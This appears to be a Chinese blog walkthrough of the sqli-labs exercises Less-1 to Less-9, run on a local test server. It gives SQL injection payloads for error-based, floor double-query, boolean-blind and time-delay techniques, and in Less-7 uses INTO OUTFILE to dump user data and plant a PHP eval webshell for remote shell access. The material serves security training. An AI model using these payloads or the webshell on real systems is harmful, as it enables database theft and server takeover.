目录

Less-1: 字符型注入

Less-2: 数字型注入

Less-3: 单引号字符型+括号

Less-4: 双引号字符型+括号

Less-5: 单引号字符型+固定输出信息 (floor报错注入&盲注)

Less-6: 双引号字符型+固定输出信息

Less-7: 写入文件

Less-8: Boolean型盲注

Less-9: 延时注入


先附上sqli的源代码:链接: https://pan.baidu.com/s/1d2rZVg5hz0ZBv2yg-UoArw 密码: 5w9y

我是在本地用phpstudy搭的一个环境。

Less-1: 字符型注入

输入  http://127.0.0.1/sqli/Less-1/?id=1'

发生了报错,可以知道存在注入,通过报错信息,我们可以猜到sql查询的源代码

select*from security where id=' $_GET[id] ' limit 0 ,1

我们找到了注入点之后就可以进行注入了,union注入,盲注等等都可以。

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 #

//  and 1=2 就是注入点,我们就可以用工具进行注入了
http://127.0.0.1/sqli/Less-1/?id=1' #inject# #

Less-2: 数字型注入

我们发现输入1 and 1=1 和 1 and 1=2 页面不一样,所以页面存在注入漏洞

http://127.0.0.1/sqli/Less-2/?id=1 and 1=1
http://127.0.0.1/sqli/Less-2/?id=1 and 1=2

在后来的注入过程中,发现语句后面还有 limit 0 ,1 。所以可以猜到sql查询的源代码

select * from security where id=$_GET[id] limit 0,1

我们找到了注入点之后就可以进行注入了,union注入,盲注等等都可以。

http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 #

// and 1=2 就是注入点,我们就可以利用工具进行注入了
http://127.0.0.1/sqli/Less-2/?id=1 #inject# #

Less-3: 单引号字符型+括号

我们输入 http://127.0.0.1/sqli/Less-3/?id=3'出现了报错。

所以存在注入,从报错信息我们可以猜到sql查询源代码

select * from security where id=('$_GET[id]') limit 0,1

我们找到了注入点之后就可以进行注入了,union注入,盲注等等都可以。

http://127.0.0.1/sqli/Less-3/?id=3') and 1=2 #

// and 1=2 就是注入点,我们就可以利用工具注入了
http://127.0.0.1/sqli/Less-3/?id=3') #inject# #

Less-4: 双引号字符型+括号

我们输入 http://127.0.0.1/sqli/Less-4/?id=1' 发现页面没有发生报错,猜想,可能是过滤了 ' 。

接着,我们再输入 http://127.0.0.1/sqli/Less-4/?id=1",页面报错,知道存在SQL注入。

从报错信息中我们可以猜到其sql查询源代码

select * from security where id=(" $_GET[id] ") limit 0,1

我们找到了注入点之后就可以进行注入了,union注入,盲注等等都可以。

http://127.0.0.1/sqli/Less-4/?id=1") and 1=2 #

// and 1=2 就是注入点,我们就可以利用工具进行注入了
http://127.0.0.1/sqli/Less-4/?id=1") #inject# #

Less-5: 单引号字符型+固定输出信息 (floor报错注入&盲注)

输入 http://127.0.0.1/sqli/Less-5/?id=1'发现页面报错。

所以存在SQL注入,可以猜到sql查询的源代码。

select * from security where id='$_GET[id]' limit 0,1

咦,这不是和Less-1是一样的吗?哦不,页面显示的信息有点不一样!最后我们发现无论输入什么正确的信息,页面都只显示 You are in .....

于是我们猜测,页面的输出信息是固定的。当sql查询语句正确时,就返回一个固定的信息。当sql查询语句错误时,就不显示。当sql语句有错时,页面就会报出sql语句的错!为了验证这个,我们看下源代码。果然,证实了我们的猜想!

那么,这种情况下我们怎么进行注入呢?

这种情况union注入是行不通的。因为我们只能通过order by知道有3列,而不知道多少列是显示列。

那盲注呢,我们可以通过页面是否显示来判断我们的输入是否正确,当我们的sql正确时,就显示you are in....。当我们的sql语句错误是,就不显示。

我们找到了注入点之后就可以进行盲注了!

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 #
// and 1=2 就是注入点,我们就可以在注入点的位置插入判断语句了
http://127.0.0.1/sqli/Less-1/?id=1' #inject# #

这题,我们网上的另一个好的解法就是利用双注入!双注入其实也就是floor报错注入。是利用count(),rand(),floor(),group by这几个函数结合在一起发生的漏洞,缺一不可!

双查询注入就是两个嵌套的查询,即 select  ....(select .....) ,里面的那个select被称为子查询,外面的那个select叫做父查询。执行顺序是先执行子查询,然后执行父查询。

下面是payload

// 我们可以将 user() 改成任何函数,以获取我们想要的信息
http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*) from information_schema.tables group by concat(user(),floor(rand(0)*2)))a) # //将其分解
(select 1 from (Y)a) Y= select count(*) from information_schema.tables group by concat(Z) Z= user(),floor(rand(0)*2)

Less-6: 双引号字符型+固定输出信息

输入  http://127.0.0.1/sqli/Less-6/?id=1" 页面发生了报错

所以存在SQL注入,可以猜到sql查询的源代码。

select * from security where id="$_GET[id]" limit 0,1

可以利用 1"# 进行绕过,后来发现和Less-5一样,页面输出固定的信息。所以我们可以利用Less-5相同的解法,只不过把Less-5里面绕过的  '  换成 " 即可!

Less-7: 单引号+双括号

输入 1'  页面报错,但是没有提示出错原因,只是说有错误,很明显,是程序员把错误都给统一处理为You have an error in your SQL syntax 了。

于是猜测可能是字符型的,所以输入 1'# ,页面报错!心想,可能过滤了#,于是换成 1'--+ ,发现还是报错了,有可能把注释符都给过滤了吧!于是我们再输入 1' and '1'='2 看看页面的显示,如果页面不正常显示,说明就是字符型的注入了,只不过是把注释符都给过滤了。可是,页面显示正常!! 这就奇怪了,于是我偷偷的看了下源码,发现,参数用两个括号和单引号保护住了!

于是,我们可以这样构造payload

http://127.0.0.1/sqli/Less-7/?id=1')) and 1=2#

发现页面还是显示报错!

于是,我们继续看了下源代码!发现只有当我们的sql查询语句能查询到数据的时候,就返回固定的 You are in ... Use outfile......,当我们的sql查询语句错误或者返回的是空数据的时候,就返回固定的 You have an error in your SQL stntax。

那样的话,我们构造的payload就查询不到任何数据了。那么,这种情况下我们该如何解呢?我们看到当我们的sql语句能查询到数据的时候他的提示信息,  Use outfile ! 是不是要利用 outfile 这个函数呢?outfile 这个函数的用法是 select  A into outfile B 。意思就是将A写入B中,A可以是任意的文本内容,也可以是数据库查询到的数据,B是一个绝对路径的文件!

于是,我们可以构造这样的payload

// 意思就是读取表users的数据,写入到e盘的4.txt文件中
http://127.0.0.1/sqli/Less-7/?id=1')) union select * from users into outfile "e:\4.txt" # // 我们可以将一句话木马写入,然后用菜刀连接,获得shell
http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,('<?php @eval($_POST[aa]) ?>'),3 into outfile "e:\5.txt" #

Less-8: Boolean型盲注

直接看源代码吧!

通过源代码我们知道,吧参数当成字符型处理。当sql查询语句正确的时候,返回You are in..... 当sql语句错误或没查询到任何数据时,不显示任何东西!所以,我们可以利用boolean行盲注来判断,根据页面是否显示数据来判断我们的sql语句是否正确!

boolean盲注就是利用 substring() ,ascii() ,length() 这几个函数,结合二分法来判断数据的!手工boolean盲注很麻烦,可以利用工具来进行盲注!下面给出盲注的基本代码

http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 #

//  and 1=2 就是注入点,我们就可以用工具进行注入了
http://127.0.0.1/sqli/Less-1/?id=1' #inject# # // 判断username列的第一个数据长度,第二个数据 limit 2,1 ,第三个数据 limit 3,1
http://127.0.0.1/sqli/Less-1/?id=-1' and (select length(username) from admin limit 1) >5 # // 判断username列的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-1/?id=-1' and (select ascii(username) from admin limit 1)>97 # // 判断username列的第一个数据的第2个字符的ascii值
http://127.0.0.1/sqli/Less-1/?id=-1' and (select ascii(substring(username,2,1)) from admin limit 1)>97 # // 判断username列的第二个数据的第2个字符的ascii值
http://127.0.0.1/sqli/Less-1/?id=-1' and (select ascii(substring(username,2,1)) from admin limit 2,1)>97 #

Less-9: 延时注入

直接看源代码

从源代码中我们知道,把参数当成了字符来处理。无论我们的查询语句是否正确,都返回固定的一个信息: You are in ...........

所以,这种情况下我们可以利用延时注入,根据页面的响应时间来判断我们的输入是否正确!延时注入主要是利用 if(条件,true时执行,false时执行) 函数。延时注入比boolean盲注更加的耗费时间,因为我们要时间等待页面的响应。所以,我们进行延时注入也一般是利用工具来注入!下面的延时注入的基本思路的代码

// 判断当前数据库的第一个字符的ascii是否大于100,如果大于100,页面立马响应,否则3秒后响应
http://127.0.0.1/sqli/Less-9/?id=1' and if (ascii(substr(database(),1,1))>100,1,sleep(3))#

Sqli 注入点解析的更多相关文章

  1. JavaScript中依赖注入详细解析

    计算机编程的世界其实就是一个将简单的部分不断抽象,并将这些抽象组织起来的过程.JavaScript也不例外,在我们使用JavaScript编写应用时,我们是不是都会使用到别人编写的代码,例如一些著名的 ...

  2. sqli注入--利用information_schema配合双查询报错注入

    目录 sqli-labs 5.6双查询报错注入通关 0x01 获取目标库名 0x02 获取库中表的数量 0x03 获取库中表名 0x04 获取目标表中的列数 0x05 获取目标表的列名 0x06 从列 ...

  3. SQL注入原理解析以及举例1

    sql注入是指web应用程序对用户输入数据的合法性没有判断,导致攻击者可以构造不同的sql语句来实现对数据库的操作. sql注入漏洞产生满足条件: 1:用户能够控制数据的输入. 2:原本需要执行的代码 ...

  4. 框架学习笔记:深度解析StrangeIoC内部运行机制

    StrangeIoC的设计和RobotLegs一致,所以我的解析会对照RobotLegs来看. 整个框架使用的是MVCS的模式,关于MVCS模式大家可以点这里进行查看,这里就不谈了,既然Strange ...

  5. Spring 源码分析之 bean 依赖注入原理(注入属性)

         最近在研究Spring bean 生命周期相关知识点以及源码,所以打算写一篇 Spring bean生命周期相关的文章,但是整理过程中发现涉及的点太多而且又很复杂,很难在一篇文章中把Spri ...

  6. WEB 安全学习 一、mysql 注入漏洞

    转载: https://www.cnblogs.com/cui0x01/p/8620524.html 一.Mysql数据库结构 数据库A 表名 列名 数据 数据库B 表名 列名 数据 Mysql5.0 ...

  7. XML外部实体(XXE)注入详解

    ###XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Ex ...

  8. ABP官方文档翻译 2.1 依赖注入

    依赖注入 什么是依赖注入 传统方式的问题 解决方案 构造函数注入模式 属性注入模式 依赖注入框架 ABP依赖注入基础设施 注册依赖注入 传统注册 帮助接口 自定义/直接注册 使用IocManager ...

  9. MSSQL注入:显错注入及反弹注入

    前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...

随机推荐

  1. POJ1458 Common Subsequence

    题目链接:http://poj.org/problem?id=1458 分析:最大公共子序列模板 1 #include<iostream> 2 #include<sstream> ...

  2. ElasticSearch(ES)使用Nested结构存储KV及聚合查询

    自建博客地址:https://www.bytelife.net,欢迎访问! 本文为博客同步发表文章,为了更好的阅读体验,建议您移步至我的博客 本文作者: Jeffrey 本文链接: https://w ...

  3. Fedora/Centos使用dnf/yum为Firefox安装Flash,两行命令超简单

    Fedora/Centos使用dnf/yum为Firefox安装Flash,两行命令超简单 Flash已死,我想这个方法应该已经失效了吧,毕竟是从adobe的官方下载的,应该是撤链接了,我也很久没安装 ...

  4. NET5 ORM 六大新功能 - SqlSugar 5.0.2.7

    介绍 SqlSugar是一款 老牌 .NET 开源ORM框架,并且在第一时间兼容.NET5,由果糖大数据科技团队维护和更新 ,Github star数仅次于EF 和 Dapper 优点: 简单易用.功 ...

  5. Webpack 基石 tapable 揭秘

    Webpack 基于 tapable 构建了其复杂庞大的流程管理系统,基于 tapable 的架构不仅解耦了流程节点和流程的具体实现,还保证了 Webpack 强大的扩展能力:学习掌握tapable, ...

  6. Maven配置ali镜像

    Maven目录,Conf文件夹下settings.xml 找到mirrors节点 添加配置 <mirror> <id>alimaven</id> <mirro ...

  7. Hi3559AV100 NNIE开发(5)mobilefacenet.wk仿真成功量化及与CNN_convert_bin_and_print_featuremap.py输出中间层数据对比过程

    前面随笔给出了NNIE开发的基本知识,下面几篇随笔将着重于Mobilefacenet NNIE开发,实现mobilefacenet.wk的chip版本,并在Hi3559AV100上实现mobilefa ...

  8. 翻译:《实用的Python编程》05_02_Classes_encapsulation

    目录 | 上一节 (5.1 再谈字典) | 下一节 (6 生成器) 5.2 类和封装 创建类时,通常会尝试将类的内部细节进行封装.本节介绍 Python 编程中有关封装的习惯用法(包括私有变量和私有属 ...

  9. unbutu系统扩展磁盘大小

    建议下载一个可视化工具,这样的话就更不容易出错 sudo apt install gparted 在终端中运行这条命令就可安装可视化工具 fdisk -l 在终端中输入这条命令来查看自己系统所挂载的磁 ...

  10. javaIO中的序列化和反序列化

    javaIO中的序列化和反序列化 1.什么是序列化?它是来解决什么问题的 1.我们创建的对象,一般情况下在内存中,程序关闭,或者因为没有地址指向而导致垃圾回收 2.这样,我们的对象就会丢失 3.那么我 ...